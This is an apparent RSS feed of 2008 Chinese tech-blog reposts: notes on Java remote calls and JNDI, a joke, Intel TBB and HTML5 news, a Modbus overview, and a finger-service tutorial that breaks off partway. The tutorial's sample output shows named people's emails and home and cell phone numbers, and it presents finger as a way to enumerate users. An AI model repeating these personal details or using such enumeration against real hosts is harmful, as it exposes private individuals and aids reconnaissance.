server后，当远程端采用context.lookup()方式获取远程对象实例并开始调用时，jboss jndi的实现方法是从jnp server上获取对象实例，将其序列化回本地，然后在本地进行反序列化，之后在本地进行类调用。<br />通过这个机制，就可以知道了，本地其实是必须有绑定到jboss上的对象实例的class的，否则反序列化的时候肯定就失败了，而远程通讯需要做到的是在远程执行某动作，并获取到相应的结果，可见纯粹基于JNDI是无法实现远程通讯的。<br />但JNDI也是实现分布式服务框架一个很关键的技术点，因为可以通过它来实现透明化的远端和本地调用，就像ejb，另外它也是个很好的隐藏实际部署机制(就像datasource)等的方案。<br /><br />总结<br />由上一系列的分析可知，在远程通讯领域中，涉及的知识点还是相当的多的，例如有：通信协议(Socket/tcp/http/udp/rmi/xml- rpc etc.)、消息机制、网络IO（BIO/NIO/AIO）、MultiThread、本地调用与远程调用的透明化方案（涉及java classloader、Dynamic Proxy、Unit Test etc.）、异步与同步调用、网络通信处理机制（自动重连、广播、异常、池处理等等）、Java Serialization (各种协议的私有序列化机制等)、各种框架的实现原理（传输格式、如何将传输格式转化为流的、如何将请求信息转化为传输格式的、如何接收流的、如何将流还原为传输格式的等等），要精通其中的哪些东西，得根据实际需求来决定了，只有在了解了原理的情况下才能很容易的做出选择，甚至可以根据需求做私有的远程通讯协议，对于从事分布式服务平台或开发较大型的分布式应用的人而言，我觉得至少上面提及的知识点是需要比较了解的。<br /><br />参考文档（感谢这些文章）<br />RMI原理及实现：http://www.yesky.com/274/1625274.shtml<br />Java NIO原理和使用：http://www.jdon.com/concurrent/nio%D4%AD%C0%ED%D3%A6%D3%C3.htm<br />XML RPC协议：http://hedong.3322.org/archives/000470.html<br />http://www.mengyan.org/blog/archives/2005/07/12/30.html<br />Spring技术应用中的远程服务详解：http://www.builder.com.cn/2007/1027/583384.shtml<br />JAVA RPC通信机制之SOAP：http://www.java114.com/content16/content3826.html<br />Java Remoting：Protocol BenchMarks：http://q.sohu.com/forum/5/topic/1148909<br />Evalution of RMI Alternative：https://www.jfire.org/modules/phpwiki/index.php/Evaluation%20of%20RMI%20Alternative<br />Metaprotocol Taxonomy：http://hessian.caucho.com/doc/metaprotocol-taxonomy.xtp<br />什么是Webservice：http://www.vchome.net/dotnet/webservice/webservice15.htm<br /><br /><br/>Tags - <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=%25E7%25BC%2596%25E7%25A8%258B" rel="tag">编程</a> , <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=java" rel="tag">java</a>
]]>
</description>
</item><item>
<link>http://www.dreamaroundworld.com/tech/read.php?1727</link>
<title><![CDATA[用英语爱国的前台小姐！]]></title> 
<author>wangyuneu &lt;wangyuneu@hotmail.com&gt;</author>
<category><![CDATA[搞笑资讯]]></category>
<pubDate>Sat, 08 Mar 2008 03:07:58 +0000</pubDate> 
<guid>http://www.dreamaroundworld.com/tech/read.php?1727</guid> 
<description>
<![CDATA[ 
	<span class="content">刚才来了个美国人，进到办公室，前台小姐左看右看，大家都在打游戏，只有自己比较清<br />闲，面带微笑的：　　　　<br />前台小姐：&ldquo;Hello.&rdquo;<br />美国人：&ldquo;Hi.&rdquo;<br />前台小姐：&ldquo;You&nbsp;have&nbsp;what&nbsp;thing？&rdquo;<br />美国人：&ldquo;Can&nbsp;you&nbsp;speak&nbsp;English？&rdquo;<br />前台小姐：&ldquo;If&nbsp;I&nbsp;not&nbsp;speak&nbsp;English，I&nbsp;am&nbsp;speaking&nbsp;what？&rdquo;<br />美国人：&ldquo;Can&nbsp;anybody&nbsp;else&nbsp;speak&nbsp;English？&rdquo;<br />前台小姐：&ldquo;Youy&nbsp;ourself&nbsp;look.all&nbsp;peoplea&nbsp;replaying，no&nbsp;people&nbsp;havet&nbsp;i&nbsp;me，you<br />&nbsp;can&nbsp;wait，you&nbsp;wait，you&nbsp;not&nbsp;wait，you&nbsp;go！&rdquo;<br />美国人：&ldquo;Goodheavens.anybody&nbsp;here&nbsp;can&nbsp;speak&nbsp;English？&rdquo;<br />前台小姐：&ldquo;Shout&nbsp;what&nbsp;shout，quieta&nbsp;little，you&nbsp;one&nbsp;arth&nbsp;have&nbsp;what&nbsp;thing?&rdquo;<br />美国人：&ldquo;&nbsp;I&nbsp;want&nbsp;to&nbsp;speak&nbsp;to&nbsp;you&nbsp;rhead.&rdquo;<br />前台小姐：&ldquo;Head&nbsp;not&nbsp;zai.You&nbsp;tomorro&nbsp;wlcome！&rdquo;<br />美国人吐血而亡。。。 <br /></span><br/>Tags - <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=%25E6%2590%259E%25E7%25AC%2591" rel="tag">搞笑</a>
]]>
</description>
</item><item>
<link>http://www.dreamaroundworld.com/tech/read.php?1726</link>
<title><![CDATA[转帖：Intel开源项目TBB加速多核应用普及]]></title> 
<author>wangyuneu &lt;wangyuneu@hotmail.com&gt;</author>
<category><![CDATA[其他技术信息]]></category>
<pubDate>Sat, 08 Mar 2008 02:52:21 +0000</pubDate> 
<guid>http://www.dreamaroundworld.com/tech/read.php?1726</guid> 
<description>
<![CDATA[ 
	早在2001年，&ldquo;双核&rdquo;就已经率先在IBMPower系列处理器上出现，但直到Intel及AMD 分别在2005年发布双核新品后，双核的概念才开始普及，虽然之前的奔腾4处理器由于超长流水线的设计具有超线程<p><strong class="kgb" style="border: 0px none ; color: #0000ff; font-weight: normal; text-decoration: underline">技术</strong>，实现了2个逻辑核心的&ldquo;双核&rdquo;。但 NetBurst架构的天生缺陷却并没有为&ldquo;双核&rdquo;概念的普及作出贡献。为了保证&ldquo;摩尔定律&rdquo;的有效性，Intel及AMD分别引入多核心设计，向消费者们打开了多核处理的大门。<br /> <br /> 而从2008年开始，根据IDC的调查，今年发售的PC、PC服务器和笔记本中，超过80%的机型将内置多核处理器。而到了明年，几乎所有发售的服务器、PC和笔记本都将内置多核处理器。与硬件技术的飞速发展相比，<strong class="kgb" style="border: 0px none ; color: #0000ff; font-weight: normal; text-decoration: underline">软件</strong>业 却显得步履蹒跚，原本属于高端应用的并行编程面临迅速普及的难题，大量单核时代的应用软件无法充分发挥多核优势，造成严重的计算资源浪费。而在此过程中， 英特尔深刻认识到，单纯的芯片制造能力和技术，还不足以体现多核处理功能和性能优势，具备在多核环境中多线程工作的优秀软件，是组成多核化世界的另一级。<br /> <br /> 为了使并行编程更容易和更简便，英特尔发布了作为开放资源项目的英特尔Intel Threading Building Blocks2.0 (Intel TBB)，作为多核开放资源应用程序的一个解决方案。TBB是一个模板数据库，可以为C++编程在一个合适的抽象层增加并行编程。为了更经济划算，这些编 程能有效利用普通编程技术，但他们呈现出来的是以多任务替代多线程。开放资源的英特尔TBB打破了关键的障碍，使开发者可以很容易的为多核设计程序，从而 为创新者打开了一扇新的大门，把多核处理器的能量转化为资本。当程序是多线程的，性能将随着增加的处理器（核）而线性增加。英特尔TBB 为软件开发者解决了重要的问题，它推动开发者用熟悉的工具和方法来更快的采用并行。面向未来，它将帮助他们设计运行在即将推出的包含8，16，24或更多 核的处理器上的程序。<br /> <br /> 每一次技术的升级换代都会引发不可估量的商机，并行化、软件优化、高性能计算 (HPC) 及多核心等诸多技术为中国的软件开发和应用行业提供了巨大的空间。据IDC数据表明，2004年到2009年，中国的软件开发从业人员数量年复合增长率高 达23%，预计到2009年将达到上百万人。英特尔开发者产品事业部销售和业务发展总监佘飞表示：&ldquo;全球的开发者都已经开始重视并行编程，中国的开发人员 也越来越感受到并行编程可以充分的获取多核处理器的性能，从而为中国的软件企业在多核时代获得更多的动力。&rdquo;<br /> <br /> 数据统计显示，中国的英特尔软件下载试用、活动参加和在线培训的数量已经排在全球首位，软件销售量也随着市场的需求逐年快速增长，市场潜力巨大，在这种市 场环境中英特尔认为对于软件开发企业来讲，多核化的处理器平台和由此延伸出来的新特征、新应用是一次前所未有的契机，对于快速成长的中国软件企业来讲同样 如此。</p><br/>Tags - <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=%25E7%25BC%2596%25E7%25A8%258B" rel="tag">编程</a> , <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=%25E5%25B9%25B6%25E8%25A1%258C" rel="tag">并行</a>
]]>
</description>
</item><item>
<link>http://www.dreamaroundworld.com/tech/read.php?1725</link>
<title><![CDATA[转帖：HTML 5公测草案发布 推动Web标准与互操作性]]></title> 
<author>wangyuneu &lt;wangyuneu@hotmail.com&gt;</author>
<category><![CDATA[Web开发]]></category>
<pubDate>Sat, 08 Mar 2008 01:56:04 +0000</pubDate> 
<guid>http://www.dreamaroundworld.com/tech/read.php?1725</guid> 
<description>
<![CDATA[ 
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; WWW论坛发布了升级版HTML的一个公测草案。 <br /><br />到2010年正式版本发布后，HTML 5将把HTML这一脚本语言&ldquo;带入&rdquo;富媒体互联网环境，它将带有控制音频和2D视频内容的API。HTML的创始人提姆说，HTML是一种非常重要的标 准。看到包括浏览器厂商在内的开发商社区正在联合起来为Web开发一条最好的发展道路，我感到很高兴。将如此多的人团结起来非常困难，对稳定和创新、实用 和理想进行平衡也存在挑战。 <br /><br />W3C HTML工作组对Web的发展进行了研究，并将根据Ajax等新的技术发展制定新的Web标准。专家称，HTML 5的新特性意味着当前最受欢迎的Web站点元素将实现标准化，推动互操作性。随着它们开始出现在创作工具中，这些元素将开始普及。 <br /><br />HTML 5将关注客户端数据存储，使用户能够以交互方式编辑文档。它还将通过提供简明的HTML文档处理规则，解决成本问题。另外，它对手机平台提供了更好的支持。<br /><br />协议草案页面：http://www.w3.org/html/wg/html5/<br /><br /><br /><br/>Tags - <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=%25E7%25BC%2596%25E7%25A8%258B" rel="tag">编程</a> , <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=web" rel="tag">web</a> , <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=web2.0" rel="tag">web2.0</a>
]]>
</description>
</item><item>
<link>http://www.dreamaroundworld.com/tech/read.php?1722</link>
<title><![CDATA[转帖：Modbus协议概述]]></title> 
<author>wangyuneu &lt;wangyuneu@hotmail.com&gt;</author>
<category><![CDATA[其他技术信息]]></category>
<pubDate>Fri, 07 Mar 2008 00:41:31 +0000</pubDate> 
<guid>http://www.dreamaroundworld.com/tech/read.php?1722</guid> 
<description>
<![CDATA[ 
	<p align="center"><img src="http://www.cechinamag.com/UpItem/AT/20051030183649584.JPG" border="0" hspace="5" vspace="5" /><br /><span style="color: #808080"><a style="text-decoration: underline; color: blue" href="http://www.cechinamag.com/word/32022.aspx" title="Modbus">Modbus</a> 通信线</span></p>　　Modbus是OSI模型第7层上的<a style="text-decoration: underline; color: blue" href="http://www.cechinamag.com/word/32026.aspx" title="应用">应用</a>层报文传输<a style="text-decoration: underline; color: blue" href="http://www.cechinamag.com/word/32023.aspx" title="协议">协议</a>，它在连接至不同类型总线或<a style="text-decoration: underline; color: blue" href="http://www.cechinamag.com/word/32025.aspx" title="网络">网络</a>的设备之间提供客户机/服务器通信。目前，可以通过下列三种方式实现Modbus通信：<br />　　以太网上的TCP/IP；<br />　　各种介质（有线：EIA/TIA-232-F、EIA-422、EIA/TIA-485-A；光纤、无线等）上的异步串行传输；<br />　　Modbus PLUS，一种高速令牌传递网络。<br />　　作为中国国家标准的&ldquo;基于Modbus协议的工业自动化网络规范&rdquo;在描述Modbus应用协议的基础上，提供了Modbus应用协议在串行链路和TCP/IP上的实现指南。<br />　　<strong>Modbus数据单元</strong><br />　　Modbus协议定义了一个与基础通信层无关的简单协议数据单元（PDU），特定总线或网络上的Modbus协议映射能够在应用数据单元（ADU）上引入一些附加域。启动Modbus事务处理的客户机创建Modbus PDU，其中的<a style="text-decoration: underline; color: blue" href="http://www.cechinamag.com/word/32024.aspx" title="功能">功能</a>码向服务器指示将执行哪种操作，功能码后面是含有请求和响应参数的数据域。<br /><br /><p align="center"><img src="http://www.cechinamag.com/UpItem/AT/2005103018380946.JPG" border="0" hspace="5" vspace="5" /><br /><span style="color: #808080">通用Modbus帧</span></p>　　当Modbus应用在串行链路上时，Modbus ADU的地址域只含有从站地址，而差错校验码是根据报文内容执行&ldquo;冗余校验&rdquo;计算的结果，根据使用的传输模式（RTU或ASCII）采用不同的计算方法。<br /><br /><p align="center"><img src="http://www.cechinamag.com/UpItem/AT/2005103018393208.JPG" border="0" hspace="5" vspace="5" /><br /><span style="color: #808080">串行链路上的Modbus帧</span></p>　　当Modbus应用在TCP/IP上时，将使用一种专用报文头&mdash;&mdash;MBAP报文头（Modbus应用协议报文头）来识别Modbus应用数据单元。<br /><br /><p align="center"><img src="http://www.cechinamag.com/UpItem/AT/2005103018401118.JPG" border="0" hspace="5" vspace="5" /><br /><span style="color: #808080">TCP/IP上的Modbus帧</span></p>　　<br /><p align="center"><img src="http://www.cechinamag.com/UpItem/AT/20051030184111576.JPG" border="0" hspace="5" vspace="5" /></p>　　<strong>Modbus标准功能码</strong><br />　　Modbus协议定义了三种功能码：<br />　　◆&nbsp;&nbsp; 公共功能码：被确切定义的、唯一的功能码，由Modbus-IDA组织确认、可进行一致性测试且已在MB IETF RFC中归档<br />　　◆&nbsp;&nbsp; 用户定义的功能码：用户无需Modbus-IDA组织的任何批准就可以选择和实现的功能码，但是不能保证被选功能码的使用是唯一的<br />　　◆&nbsp;&nbsp; 保留功能码：某些公司在传统产品上现行使用的功能码，不作为公共使用。<br />　　公共功能码定义如下表所示。<br /><br /><p align="center"><img src="http://www.cechinamag.com/UpItem/AT/2005103018424290.JPG" border="0" hspace="5" vspace="5" /></p>　　<strong>Modbus通信原理</strong><br />　　Modbus是一种简单的客户机/服务器型应用协议，其通信遵循以下的过程：<br />　　◆&nbsp;&nbsp; 客户端准备请求并向服务器发送请求；<br />　　◆&nbsp;&nbsp; 服务器分析并处理客户端的请求，然后向客户端发送结果；<br />　　◆&nbsp;&nbsp; 如果出现任何差错，服务器将返回一个异常功能码。<br /><br /><p align="center"><img src="http://www.cechinamag.com/UpItem/AT/20051030184236967.JPG" border="0" hspace="5" vspace="5" /><br /><span style="color: #808080">Modbus事务处理</span></p>　　<strong>统一的标准</strong><br />　　Modbus串行链路、Modbus PLUS和Modbus TCP/IP使用的是一种统一的应用协议，因而使得信息从一个网络传输到另一个网络而不需改变通讯协议成为了可能。<br />　 　当Modbus在TCP/IP上实施时，用户还可以从IP路由功能中得益，使得分布于世界任何地方的设备之间都可以进行通讯。施耐德电气还提供了全套的 网关，用于实现Modbus TCP/IP网络与现有的Modbus PLUS 或Modbus串行链路网络之间的互连。<br />　　IANA委员会给施 耐德电气公司分配了已为大家熟知的TCP 502端口，以专为Modbus协议保留。由此可见，Modbus协议现在已经成为Internet标准。Modbus和Modbus TCP/IP也被IEC 61158国际标准承认为一种现场总线，同时它们还是由ITEI管理的中国国家标准。<br />　　Modbus拥有著名的TCP端口502<br />　　Modbus TCP/IP是唯一个被分配到互联网端口的工业以太网协议！<br />　　23&nbsp;-Telnet&nbsp;远程登录协议<br />　　21&nbsp;-FTP&nbsp;文件传输协议<br />　　161&nbsp;-SNMP&nbsp;简单网络管理协议<br />　　25&nbsp;-SMTP&nbsp;简单邮件传输协议<br />　　53&nbsp;-DNS&nbsp;域名解析服务<br />　　110&nbsp;-POP3&nbsp;邮局协议&nbsp;<br />　　80&nbsp;-HTTP&nbsp;超文本传输协议<br />　　67&nbsp;-BOOTPS&nbsp;引导程序协议服务器<br />　　502&nbsp;-MODBUS&nbsp;MODBUS TCP端口<br />　　<strong>简单而且开放<br /></strong>　 　Modbus应用协议非常简单并且已经得到普遍的认可，很多制造商都开发了对Modbus TCP/IP连接的支持。Modbus TCP/IP的简单性使得任何小型的现场设备，例如I/O组件，都可以通过以太网进行通讯，而不需要配备功能强大的微处理器或大容量的内存。<br />　　<strong>Modbus TCP/IP &mdash;&mdash; 高性能<br /></strong>　　由于结合了<a style="text-decoration: underline; color: blue" href="http://www.cechinamag.com/word/32022.aspx" title="Modbus">Modbus</a><a style="text-decoration: underline; color: blue" href="http://www.cechinamag.com/word/32023.aspx" title="协议">协议</a>的简单性和100 M 以太网的高速度，Modbus TCP/IP展现了卓越的性能，这意味着将这种<a style="text-decoration: underline; color: blue" href="http://www.cechinamag.com/word/32025.aspx" title="网络">网络</a><a style="text-decoration: underline; color: blue" href="http://www.cechinamag.com/word/32026.aspx" title="应用">应用</a>在实时性要求很高的场合，如I/O扫描，是可行的。<br />　　<strong>Modbus通信透明性<br /></strong>　 　Modbus协议可以方便地在各种网络体系结构内进行通信，每种设备（PLC、HMI、控制面板、变频器、运动控制、I/O设备等）都能使用 Modbus协议来启动远程操作，同样的通信能够在串行链路和TCP/IP以太网网络上进行，而网关则能够实现各种使用Modbus协议的总线或网络之间 的通信。由此可见，Modbus协议实现了全方位的通信透明。<br /><br /><p align="center"><img src="http://www.cechinamag.com/UpItem/AT/20051030184427396.JPG" border="0" hspace="5" vspace="5" /><br /><span style="color: #808080">Modbus通信全透明</span>　　</p><br /><br/>Tags - <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=%25E6%258E%25A7%25E5%2588%25B6" rel="tag">控制</a> , <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=%25E7%25BD%2591%25E7%25BB%259C" rel="tag">网络</a>
]]>
</description>
</item><item>
<link>http://www.dreamaroundworld.com/tech/read.php?1721</link>
<title><![CDATA[转帖：古老的finger服务---详细讲解]]></title> 
<author>wangyuneu &lt;wangyuneu@hotmail.com&gt;</author>
<category><![CDATA[其他技术信息]]></category>
<pubDate>Thu, 06 Mar 2008 06:48:13 +0000</pubDate> 
<guid>http://www.dreamaroundworld.com/tech/read.php?1721</guid> 
<description>
<![CDATA[ 
	古老的finger服务---详细讲解<br /> <br /> <br /> <br /> 版权声明:可以自由转载本文，但请务必保留本文的完整性。<br /> 作者:张子坚<br /> email:zhangzijian@163.com <br /> 说明：本文所涉及示例均在fedora core3下得到。 <br /> <br /> <br /> --------------------------------------------------------------------------------<br /> <br /> <br /> 概述<br /> <br /> <br /> 在这篇文档里我将介绍finger服务的基本知识与运行原理。用大量篇幅详细演示了finger命令的使用，并对其返回信息进行了解释。还有修改用户 finger信息的方法。最后，讲述了finger的安全隐患（可被黑客利用，获取系统大量有用信息），及其处理方法。有意思的是，文章中还穿插了一些关 于finger服务的小故事。<br /> <br /> <br /> --------------------------------------------------------------------------------<br /> <br /> 什么是finger服务<br /> <br /> <br /> finger服务就是finger服务器提供一项查询本地或远程主机用户公开信息的服务。在RFC1288里，它的名字是用户信息查找程序。<br /> <br /> 在早期的UNIX系统上，很多学生，研究人员利用finger服务来公开自己的某些特定信息，以便进行交流。比如有些研究人员用其公开自己的课题研究情 况，有些老师公开一些课程时间安排。还有的主机播报球赛的情况，有的发布一些当前地震活动的信息。不过，finger服务更多的用处的是公开某人的特定信 息。<br /> <br /> <br /> 某些返回信息如下：<br /> <br /> <br /> 用户登陆名<br /> 真实姓名<br /> 办公地点<br /> 家庭电话<br /> 办公室电话<br /> 用户主目录<br /> 所使用的shell<br /> 计划<br /> <br /> <br /> 说明：以上返回信息只是finger服务器返回信息的某些，还有其他未给出。finger服务器返回给你的信息根据不同系统而异。<br /> <br /> <br /> <br /> --------------------------------------------------------------------------------<br /> <br /> <br /> 有关finger的历史 <br /> <br /> finger命令最早出现在BSD3.0。后来很多unix版本都移植了这个程序，我所使用的fedora core3也有finger的客户端。不过fc3默认情况下是关闭远程finger服务的。现在，很多主机已经关闭这项服务（安全性原因，下面会提到）。 不过，在美国的有些大学里还提供这项古老的服务。<br /> <br /> coke服务器的故事<br /> <br /> 在七十年代中期，卡内基-梅窿大学计算机系安装了一台可口可乐机，后来这个系扩大，从这个机房分出一些程序员到不同楼层的办公室。他们常常走了很远，来到 那台机器旁才发现没有可口可乐。或者同样糟糕，他们发现在机器中有可口可乐，但时间不够，还是热的。 他们的解决办法是:在机器中安装开关，以判断可得到多少瓶碳酸饮料，并跟踪还需多长时间每瓶饮料才冷却。为了让人们远距离检查这台机器，设立了一个专用 Finger服务器。当你Finger一个专用的用户标识(coke)，它将显示这台coke机器容量的状态。<br /> <br /> <br /> --------------------------------------------------------------------------------<br /> <br /> <br /> <br /> 说明<br /> <br /> <br /> 不过现在它们的coke服务器我已经finger不到了。也许是他们换了我不知道的服务器，或者是已经关闭了这项服务。不过可以给你提供一个做finger实验的finger服务器，在下面会见到。<br /> <br /> <br /> --------------------------------------------------------------------------------<br /> <br /> <br /> finger服务基本原理<br /> <br /> <br /> finger基于传输控制协议，用TCP端口79。本地主机打开一个远程主机在Finger端口的连接。远程主机的RUIP（远程用户信息程序）变成有效 来处理请求。本地主机发送给RUIP一行基于Finger查询说明的请求，然后等待RUIP响应。RUIP接收处理这个请求，返回应答，然后发起连接的关 闭。本地主机接收到应答和关闭信号，然后执行本地端的关闭。<br /> <br /> <br /> 说明<br /> <br /> 此原理引自RFC1288原文。简单点说，finger服务就是一套客户机/服务器系统。服务器提供用户信息，客户机进行查询。<br /> <br /> <br /> --------------------------------------------------------------------------------<br /> <br /> <br /> 详细演示finger的使用<br /> <br /> <br /> 使用finger服务只需要知道远程主机名，用户登陆名或者用户的真实姓名。其基本格式为：finger user@host或finger@host。<br /> 以下示例中，远程主机都为卡内基--梅隆大学计算机学院的finger服务器。<br /> <br /> <br /> 示例1<br /> <br /> 不带选项的finger命令<br /> <br /> [root@localhost ~]# finger @cs.cmu.edu<br /> Login&nbsp;&nbsp;Name&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;TTY&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;Idle&nbsp; &nbsp; When&nbsp; &nbsp;&nbsp; &nbsp;Where<br /> root&nbsp;&nbsp;Super-User&nbsp; &nbsp;pts/2&nbsp; &nbsp;&nbsp; &nbsp; 13d&nbsp;&nbsp;Wed 10:53&nbsp;&nbsp;venera.fac.cs.cmu.edu<br /> <br /> <br /> 讲解<br /> <br /> <br /> 第一列Login是用户登陆名，在此为root。<br /> <br /> 第二列Name是用户真实姓名，在此为Super-User。<br /> <br /> 第三列TTY是终端名，在此为pts/2。<br /> <br /> 第四列Idle显示用户在此终端上的活动时间。如果记录是空白，则表示那个人正在使用自己的终端。否则，你将看见终端空闲了多长时间。在此是空闲了13天。<br /> <br /> 第五列When显示用户登陆的日期和时间，在此为星期三的10点53分。<br /> <br /> 第六列Where显示用户是如何登录的。如果此项为空白，则表示这个人正在使用直接连接到主机的终端。否则这个人通过给定名字的计算机或终端服务器连接主机。在此为通过主机venera.fac.cs.cmu.edu。<br /> <br /> 示例2<br /> <br /> <br /> 带-l参数的finger命令<br /> <br /> [root@localhost ~]# finger -l @cs.cmu.edu<br /> Login name: root&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;In real life: Super-User<br /> Directory: /&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; Shell: /sbin/sh<br /> On since May 10 10:53:14 on pts/2 from venera.fac.cs.cmu.edu<br /> 13 days Idle Time<br /> No unread mail<br /> No Plan.<br /> <br /> <br /> 讲解<br /> <br /> <br /> 带-l参数的finger命令返回的是比较详细的信息。在这里，多出了用户主目录，用户shell，用户是否有未读邮件，用户计划等项目。<br /> <br /> 示例3<br /> <br /> <br /> 以下这个示例，有比较多的内容，可以仔细看看。可以看到一个中国人Hu Ning在他的计划里画上了一直狐狸（这只狐狸很可能就是他）。更多的关于finger命令的讲解可以参照下一节的内容。<br /> <br /> [root@localhost ~]# finger <a href="mailto:h@cs.cmu.edu">h@cs.cmu.edu</a><br /> Search limit exceeded, first 10 entries displayed using fuzzy name match<br /> No entries found for exact uid match<br /> No entries found for exact name match<br /> Login: hhfu&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;Name: Hui Hua Fu<br /> Directory: /afs/cs.cmu.edu/user/hhfu<br /> Mail is forwarded to <a href="mailto:hhfu+@imap-ns.srv.cs.cmu.edu">hhfu+@imap-ns.srv.cs.cmu.edu</a><br /> No Plan<br /> Login: dwilson&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;Name: Dan Wilson<br /> &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; Daniel H Wilson<br /> Directory: /afs/cs.cmu.edu/user/dwilson<br /> Mail is forwarded to <a href="mailto:dhw@alumni.cmu.edu">dhw@alumni.cmu.edu</a><br /> Plan:<br /> Second year graduate student, Robotics Institute / CALD<br /> Advisor:&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;Chris Atkeson<br /> <br /> Web Page:&nbsp; &nbsp;&nbsp; &nbsp; <a href="http://www.cs.cmu.edu/%7Edwilson/" target="_blank">http://www.cs.cmu.edu/~dwilson/</a><br /> <br /> Office:&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;NSH A525<br /> &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; (412) 268-5909<br /> <br /> Home:&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;(412) 363-7462<br /> Cell:&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;(412) 478-2421<br /> Login: ninghu&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;Name: Ning Hu<br /> Directory: /afs/cs.cmu.edu/user/ninghu<br /> Mail is forwarded to <a href="mailto:ninghu+@imap.srv.cs.cmu.edu">ninghu+@imap.srv.cs.cmu.edu</a><br /> Plan:<br /> &nbsp; &nbsp;&nbsp;&nbsp;.% ^&quot;b&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;e$$&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;Ning Hu&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;Ph.D. Student<br /> &nbsp; &nbsp;&nbsp;&nbsp;F $$e L&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;d$$&quot;'F&nbsp; &nbsp;&nbsp; &nbsp; --------------------------------------<br /> &nbsp; &nbsp; .% $$$r L&nbsp; &nbsp;&nbsp;&nbsp;J$$P&nbsp;&nbsp;4%&nbsp; &nbsp;&nbsp; &nbsp; Computer Science Department<br /> &nbsp; &nbsp; 4 .$$$$ ^r ..J$$P&nbsp; &nbsp;$&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;Carnegie Mellon University<br /> &nbsp; &nbsp; J 4$$$$&nbsp;&nbsp;^*$$$$$$e.d&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;5000 Forbes Ave<br /> &nbsp; &nbsp; P 3$$$F $$ $$$$$$$$$e.&nbsp; &nbsp;&nbsp; &nbsp; Pittsburgh, PA 15213<br /> &nbsp; &nbsp; * ^$$$z$$$$$$$$$$$$$$.b<br /> &nbsp; &nbsp; d&nbsp; &nbsp;J$$$$$$$$$$$$$$$$$'&nbsp; &nbsp;&nbsp; &nbsp;Email:&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;<a href="mailto:ninghu@cs.cmu.edu">ninghu@cs.cmu.edu</a><br /> &nbsp; &nbsp;J$F ^&quot;$$$$$P&quot;&quot;**$$$L&nbsp;&nbsp;$ F<br /> &nbsp;&nbsp;4$$&nbsp; &nbsp;-$$$$$e.&quot;&nbsp;&nbsp;$$$$zdFd&nbsp; &nbsp;&nbsp; &nbsp;Phone:&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;(412)268-1557(O)<br /> &nbsp;&nbsp;$$$&nbsp; &nbsp; $$$$$$$$$$$$$$.$.%&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;(412)243-6285(H)<br /> 4$$$&quot;&nbsp;&nbsp;4$P*$$$$$$$$$$$$.*<br /> $$$%&nbsp; &nbsp;&nbsp; &nbsp;$$$$$$$$$$$$$$c&quot;&nbsp; &nbsp;&nbsp; &nbsp;Home Page:&nbsp; &nbsp;&nbsp;&nbsp;<a href="http://www.cs.cmu.edu/%7Eninghu" target="_blank">www.cs.cmu.edu/~ninghu</a><br /> $$%&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&quot;&quot;&nbsp;&nbsp;^*$$$$J$$b^.<br /> $%&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;4$$$b. &quot; *$$* F :::::::::: ::::::::&nbsp;&nbsp;:::&nbsp; &nbsp; ::: :::&nbsp; &nbsp;:::<br /> %&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; 